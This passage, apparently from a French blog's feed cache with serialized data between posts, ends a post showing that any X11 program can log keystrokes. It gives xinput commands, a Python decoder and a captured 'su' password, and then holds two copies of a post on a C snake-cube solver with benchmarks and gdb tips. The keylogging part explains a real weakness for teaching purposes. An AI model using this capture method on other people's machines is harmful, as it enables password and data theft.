Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X. Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

sudo apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56 
key release 56 
key press   32 
key release 32 
key press   57 
key release 57 
key press   44 
key release 44 
key press   32 
key press   30 
key release 32 
key release 30 
key press   27 
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log. De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return p a s s w o r d Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.

Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche Shift_L a b, nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.

Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.

EDIT : En 2016, tuxicoman a proposé une implémentation en C++.

";s:7:"dateiso";s:15:"20111101_220957";}s:15:"20111019_013300";a:7:{s:5:"title";s:55:"Résoudre le cube-serpent 300 fois plus rapidement en C";s:4:"link";s:85:"http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3104";s:7:"pubDate";s:31:"Tue, 18 Oct 2011 23:33:00 +0000";s:11:"description";s:387:"Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python. Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ? Pour y [...]";s:7:"content";s:94774:"


Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python.

Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?

Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).

Implémentation

Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.

La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par macro (les fameux #define). Par rapport au programme Python, il faut en plus préciser la taille des tableaux.

La seule partie que j’ai réimplémentée complètement différemment est la fonction get_useful_points de la version Python (souvenez-vous, avec des yields dans une fonction récursive). La fonction équivalente dans la version C s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point « suivant » de celui passé en paramètre.

De même, les solutions trouvées sont données dans un callback (la fonction solution), toujours dans l’objectif de supprimer simplement les yields.

J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si dans les règles de l’art, plusieurs fichiers .c avec leurs .h auraient été préférables).

Performances

Passons maintenant à ce qui nous intéresse : les performances.

Exemples de référence

Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.

Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :

// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}

Protocole

Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver une solution :

time ./csnakesolver

Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.

Compilation

Il est intéressant de tester les performances en compilant sans optimisations :

gcc csnakesolver.c -o csnakesolver

et avec :

gcc -O3 csnakesolver.c -o csnakesolver

Résultats

Python C (gcc) C (gcc -O3)
Exemple R instantané instantané instantané
Exemple M 5m6.903s 0m3.715s (×83) 0m0.826s (×372)
Exemple L 3h53m17.012s 5m4.533s (×46) 0m50.681s (×276)

Le gain est loin d’être négligeable, un gain de ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais ×40~×50, sans trop y croire.

Origines des gains de performances

Deux différences expliquent ces gains :

Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons déjà que le facteur de gain entre les programmes compilés avec et sans -O3 provient uniquement de la compilation).

Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).

Débogueur

Travailler sur un mini-projet personnel permet toujours d’apprendre des choses. En dehors du langage lui-même, j’ai découvert le débogueur gdb.

N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.

Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :

$ ./csnakesolver
Erreur de segmentation

Il faut d’abord compiler le programme avec l’option de debug :

gcc -g csnakesolver.c -o csnakesolver

Puis lancer le programme avec le débogueur :

gdb csnakesolver

Un prompt permet d’entrer des commandes :

(gdb) 

Pour placer un point d’arrêt à la ligne 215 :

(gdb) break 215

Pour démarrer le programme :

(gdb) run

Le programme s’arrête sur le point d’arrêt :

Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];

Pour afficher le bout de code source concerné :

(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213	
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value < 0 || new_value >= dimensions[vector.position]) {

Il est possible de consulter les valeurs des variables (éventuellement en les formattant) grâce à p (print) :

(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}

Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :

(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}

Pour obtenir la pile d’exécution :

(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475

Pour avancer dans le programme, 3 commandes sont indispensables :

Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.

Conclusion

Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.

La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.

Code source

Le programme est disponible au même endroit que la version Python : csnakesolver-0.1.c.

Par contre, désolé, cette version est beaucoup moins commentée que la version Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
/*
 * csnakesolver v0.1, 19th october 2011
 *
 * changelog:
 *   0.1
 *     - initial version
 *
 * Solver for generalized snake-cube:
 * http://en.wikipedia.org/wiki/Snake_cube
 * http://fr.wikipedia.org/wiki/Cube_serpent
 * 
 * By Romain Vimont (®om)
 *   rom@rom1v.com
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
 
#define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L
 
#ifdef EXEMPLE_R
#define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
#define STRUCTURE_VECTOR_COUNT 17
#define VOLUME_DIMENSIONS {3, 3, 3}
#define DIMENSIONS_COUNT 3
#endif
 
#ifdef EXEMPLE_M
#define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
#define STRUCTURE_VECTOR_COUNT 46
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif
 
#ifdef EXEMPLE_L
#define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
#define STRUCTURE_VECTOR_COUNT 47
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif
 
#define VARIABLES {'x', 'y', 'z', 't'}
#define VARIABLES_COUNT 4
 
int structure[] = SNAKE_STRUCTURE;
int dimensions[] = VOLUME_DIMENSIONS;
int variables[] = VARIABLES;
 
int structure_length; // sum of SNAKE_STRUCTURE
int volume_size; // product of dimensions
 
typedef struct vector {
    int position;
    int value;
} vector_s;
 
typedef struct volume_helper {
    bool * flags; // length = product of all VOLUME_DIMENSIONS items
    vector_s path[STRUCTURE_VECTOR_COUNT];
    int path_length;
    int init_cursor[DIMENSIONS_COUNT];
    int cursor[DIMENSIONS_COUNT];
} volume_helper_s;
 
typedef struct symmetry_helper {
    int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2];
    int * eq_classes;
} symmetry_helper_s;
 
 
vector_s new_vector(char position, char value);
void symmetry_helper_init(symmetry_helper_s * symmetry_helper);
void volume_helper_init(volume_helper_s * volume_helper);
void init();
 
char * vector_to_string(vector_s vector);
char * get_variable(char position);
char * get_canonical_number(char number);
 
char * cursor_to_string(int cursor[]);
 
void volume_helper_set_cursor(int cursor[]);
bool * volume_helper_get_flag_pointer(int cursor[]);
bool volume_helper_get_flag(int cursor[]);
void volume_helper_set_flag(int cursor[], bool value);
bool volume_helper_can_move(vector_s vector);
void volume_helper_move(vector_s vector);
void volume_helper_back();
void volume_helper_append_vector_in_path(vector_s vector) ;
vector_s volume_helper_pop_vector_in_path();
 
void symmetry_helper_init_eq_classes_from_dimensions();
bool symmetry_helper_inc_cursor(int cursor[]);
bool symmetry_helper_inc_cursor_rec(int cursor[], int index);
void symmetry_helper_set_cursor(int cursor[]);
void symmetry_helper_move(vector_s vector);
void symmetry_helper_back();
bool symmetry_helper_must_explore(int i);
bool eq_cmp(int p1, int p2, int dim);
 
bool solve();
bool solve_rec(int init_cursor[], int step);
bool solution(int * init_cursor, vector_s * path);
 
vector_s new_vector(char position, char value) {
    vector_s vector;
    vector.position = position;
    vector.value = value;
    return vector;
};
 
symmetry_helper_s symmetry_helper;
volume_helper_s volume_helper;
 
void symmetry_helper_init(symmetry_helper_s * symmetry_helper) {
    symmetry_helper->eq_classes = symmetry_helper->eq_classes_path;
}
 
void volume_helper_init(volume_helper_s * volume_helper) {
    volume_helper->flags = (bool *) malloc(volume_size * sizeof(bool));
    volume_helper->path_length = 0;
}
 
void init() {
    int i;
    volume_size = 1;
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        volume_size *= dimensions[i];
    }
    structure_length = 0;
    for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) {
        structure_length += structure[i];
    }
    symmetry_helper_init(&symmetry_helper);
    volume_helper_init(&volume_helper);
}
 
char * vector_to_string(vector_s vector) {
    char * string = (char *) malloc(5 * sizeof(char));
    char * variable = get_variable(vector.position);
    char * canonical_number = get_canonical_number(vector.value);
    sprintf(string, "%s%s", canonical_number, variable);
    free(variable);
    free(canonical_number);
    return string;
}
 
char * get_variable(char position) {
    char * variable = (char *) malloc(3 * sizeof(char));
    if (position < VARIABLES_COUNT) {
        sprintf(variable, "%c", variables[position]);
    } else {
        sprintf(variable, "k%i", position - VARIABLES_COUNT);
    }
    return variable;
}
 
char * get_canonical_number(char number) {
    char * canonical_number = (char *) malloc(3 * sizeof(char));
    if (number == (char) 1) {
        sprintf(canonical_number, "");
    } else if (number == (char) -1) {
        sprintf(canonical_number, "-");
    } else {
        sprintf(canonical_number, "%i", number);
    }
    return canonical_number;
}
 
char * cursor_to_string(int cursor[]) {
    char * result = (char *) malloc(255 * sizeof(char));
    char * s = result;
    int i;
    s += sprintf(s, "(");
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        if (i != 0) {
            s += sprintf(s, ", ");
        }
        s += sprintf(s, "%i", cursor[i]);
    }
    s += sprintf(s, ")");
    return result;
}
 
 
 
void volume_helper_set_cursor(int cursor[]) {
    volume_helper_set_flag(volume_helper.init_cursor, false);
    memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    volume_helper_set_flag(cursor, true);
}
 
bool * volume_helper_get_flag_pointer(int cursor[]) {
    bool * p_flag = volume_helper.flags;
    int product = 1;
    int i;
    for (i = DIMENSIONS_COUNT - 1; i >= 0; i--) {
        p_flag += cursor[i] * product;
        product *= dimensions[i];
    }
    return p_flag;
}
 
bool volume_helper_get_flag(int cursor[]) {
    return * volume_helper_get_flag_pointer(cursor);
}
 
void volume_helper_set_flag(int cursor[], bool value) {
    * volume_helper_get_flag_pointer(cursor) = value;
}
 
bool volume_helper_can_move(vector_s vector) {
    int cursor_position_value = volume_helper.cursor[vector.position];
    int new_value = cursor_position_value + vector.value;
    int future_cursor[DIMENSIONS_COUNT];
    int sign, i, abs_value;
    if (new_value < 0 || new_value >= dimensions[vector.position]) {
        return false;
    }
    memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int));
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        future_cursor[vector.position] += sign;
        if (volume_helper_get_flag(future_cursor)) {
            return false;        
        }
    }
    return true;
}
 
void volume_helper_move(vector_s vector) {
    int sign, i, abs_value;
    volume_helper_append_vector_in_path(vector);
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        volume_helper.cursor[vector.position] += sign;
        volume_helper_set_flag(volume_helper.cursor, true);
    }
}
 
void volume_helper_back() {
    int sign, i, abs_value;
    vector_s vector = volume_helper_pop_vector_in_path();
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        volume_helper_set_flag(volume_helper.cursor, false);
        volume_helper.cursor[vector.position] += -sign;
    }
}
 
void volume_helper_append_vector_in_path(vector_s vector) {
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    memcpy(current_vector, &vector, sizeof(vector_s));
    volume_helper.path_length ++;
}
 
vector_s volume_helper_pop_vector_in_path() {
    volume_helper.path_length --;
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    vector_s vector;
    memcpy(&vector, current_vector, sizeof(vector));
    return vector;
}
 
void symmetry_helper_init_eq_classes_from_dimensions() {
    // eq_classes from dimensions is the first item of eq_classes_path
    int * eq_classes = symmetry_helper.eq_classes_path; 
    int i, j;
    int value;
    bool found;
    for (i = 1; i < DIMENSIONS_COUNT; i++) {
        value = dimensions[i];
        j = 0;
        found = false;
        while (j < i && !found) {
            if (dimensions[j] == value) {
                eq_classes[i] = j;
                found = true;
            } else {
                j++;
            }
        }
        if (!found) {
            eq_classes[j] = j;
        }
    }
    symmetry_helper.eq_classes = eq_classes;
}
 
bool symmetry_helper_inc_cursor(int cursor[]) {
    return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1);
}
 
bool symmetry_helper_inc_cursor_rec(int cursor[], int index) {
    int * eq_classes = symmetry_helper.eq_classes_path;
    int value = cursor[index];
    int i;
    if (value < (dimensions[index] - 1) / 2) {
        // the last coordinate can be incremented
        cursor[index] ++;
        return true;
    }
    // we must increment recursively the previous coordinate
    if (index == 0) {
        // there is no more coordinate to increment
        return false;
    }
    i = index - 1;
    if (!symmetry_helper_inc_cursor_rec(cursor, i)) {
        return false;
    }
    while (i >= 0 && eq_classes[i] != eq_classes[index]) {
        i--;
    }
    if (i >= 0) {
        // coordinate value must at least equals the previous coordinates
        // in the same equivalence class
        cursor[index] = cursor[i];
    } else {
        cursor[index] = 0;
    }
    return true;
}
 
void symmetry_helper_set_cursor(int cursor[]) {
    int * eq_classes_path = symmetry_helper.eq_classes_path;
    int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT;
    int i, j, old_class;
 
    symmetry_helper.eq_classes = cursor_eq_classes;
    // copy the eq_classes computed from the dimensions into the next segment
    memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int));
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        if (cursor_eq_classes[i] != i && !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) {
            old_class = cursor_eq_classes[i];
            cursor_eq_classes[i] = i;
            for (j = i + 1; j < DIMENSIONS_COUNT; j++) {
                if (cursor_eq_classes[j] == old_class) {
                    cursor_eq_classes[j] = i;
                }
            }
        }
    }
}
 
void symmetry_helper_move(vector_s vector) {
    int position = vector.position;
    int * previous_eq_classes = symmetry_helper.eq_classes;
    int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT;
 
    int new_eq_class = -1;
    int i;
    memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int));
    for (i = position + 1; i < DIMENSIONS_COUNT; i++) {
        if (new_eq_classes[i] == position) {
            if (new_eq_class == -1) {
                new_eq_class = i;
            }
            new_eq_classes[i] = new_eq_class;
        }
    }
    symmetry_helper.eq_classes = new_eq_classes;
}
 
void symmetry_helper_back() {
    symmetry_helper.eq_classes -= DIMENSIONS_COUNT;
}
 
bool symmetry_helper_must_explore(int i) {
    return symmetry_helper.eq_classes[i] == i;
}
 
bool eq_cmp(int p1, int p2, int dim) {
    return p1 == p2 || p1 + p2 + 1 == dim;
}
 
bool solve() {
    int cursor[DIMENSIONS_COUNT] = {}; // init with zeros
    int i;
    if (structure_length + 1 != volume_size) {
        fprintf(stderr,
                "Structure has not the right length (%i instead of %i)\n",
                structure_length, volume_size);
        return false;
    }
 
    do {
        volume_helper_set_cursor(cursor);
        symmetry_helper_set_cursor(cursor);
        if (!solve_rec(cursor, 0)) {
            return false;
        }
    } while (symmetry_helper_inc_cursor(cursor));
 
    // explored all possible solutions
    return true;
}
 
bool solve_rec(int init_cursor[], int step) {
    int previous_position;
    int norm = structure[step];
    int vector_value;
    int i, k;
    vector_s possible_vector;
    if (step == STRUCTURE_VECTOR_COUNT) {
        if (!solution(volume_helper.init_cursor, volume_helper.path)) {
            // stop searching for new solutions
            return false;
        }   
    } else {
        if (volume_helper.path_length == 0) {
            previous_position = -1;
        } else {
            previous_position = volume_helper.path[volume_helper.path_length -1].position;
        }
        for (i = 0; i < DIMENSIONS_COUNT; i++) {
            if (i != previous_position && symmetry_helper_must_explore(i)) {
                for (k = 0; k < 2; k++) {
                    vector_value = k == 0 ? norm : -norm;
                    possible_vector = new_vector(i, vector_value);
                    if (volume_helper_can_move(possible_vector)) {
                        volume_helper_move(possible_vector);
                        symmetry_helper_move(possible_vector);
                        if (!solve_rec(init_cursor, step + 1)) {
                            return false;
                        }
                        volume_helper_back();
                        symmetry_helper_back();
                    }
                }
            }
        }
    }
    return true;
}
 
bool solution(int * init_cursor, vector_s * path) {
    int i;
    char * vector_string;
    vector_s vector;
    printf("(%s, [", cursor_to_string(init_cursor));
    for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) {
        if (i != 0) {
            printf(", ");
        }
        vector = path[i];
        vector_string = vector_to_string(vector);
        printf("%s", vector_string);
        free(vector_string);
    }
    printf("])\n");
    // stop after the first solution
    return false;
}
 
int main(void) {
    init();
    solve();
    exit(0);
}
";s:7:"dateiso";s:15:"20111019_013300";}s:15:"20111018_233300";a:7:{s:5:"title";s:55:"Résoudre le cube-serpent 300 fois plus rapidement en C";s:4:"link";s:84:"http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c";s:4:"guid";s:84:"http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c";s:7:"pubDate";s:25:"2011-10-18T23:33:00+02:00";s:11:"description";s:0:"";s:7:"content";s:17055:"

Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python.

Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?

Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).

Implémentation

Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.

La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par macros (les fameux #define). Par rapport au programme Python, il faut en plus préciser la taille des tableaux.

La seule partie que j’ai réimplémentée complètement différemment est la fonction get_useful_points de la version Python (souvenez-vous, avec des yields dans une fonction récursive). La fonction équivalente dans la version C s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point “suivant” de celui passé en paramètre.

De même, les solutions trouvées sont données dans un callback (la fonction solution), toujours dans l’objectif de supprimer simplement les yields.

J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si plusieurs fichiers .c avec leurs .h auraient été préférables).

Performances

Passons maintenant à ce qui nous intéresse : les performances.

Exemples de référence

Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.

Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :

// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1,
1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1,
1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}

Protocole

Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver une solution :

time ./csnakesolver

Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.

Compilation

Il est intéressant de tester les performances en compilant sans optimisations :

gcc csnakesolver.c -o csnakesolver

et avec :

gcc -O3 csnakesolver.c -o csnakesolver

Résultats

(au format h:mm:ss.ms)

  Python C (gcc) C (gcc -O3)
R ~0:00:00.000 ~0:00:00.000 ~0:00:00.000
M 0:05:06.903 0:00:03.715 (×83) 0:00:00.826 (×372)
L 3:53:17.012 0:05:04.533 (×46) 0:00:50.681 (×276)

Le gain est loin d’être négligeable : ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais peut-être ×10 ou ×50, sans trop y croire.

Origines des gains de performances

Deux différences expliquent ces gains :

Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons déjà que le facteur de gain entre les programmes compilés avec et sans -O3 provient uniquement de la compilation).

Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).

Débogueur

Travailler sur un mini-projet personnel permet toujours d’apprendre des choses. En dehors du langage lui-même, j’ai découvert le débogueur gdb.

N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.

Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :

$ ./csnakesolver
Erreur de segmentation

Il faut d’abord compiler le programme avec l’option de debug :

gcc -g csnakesolver.c -o csnakesolver

Puis lancer le programme avec le débogueur :

gdb csnakesolver

Un prompt permet d’entrer des commandes :

(gdb) 

Pour placer un point d’arrêt à la ligne 215 :

(gdb) break 215

Pour démarrer le programme :

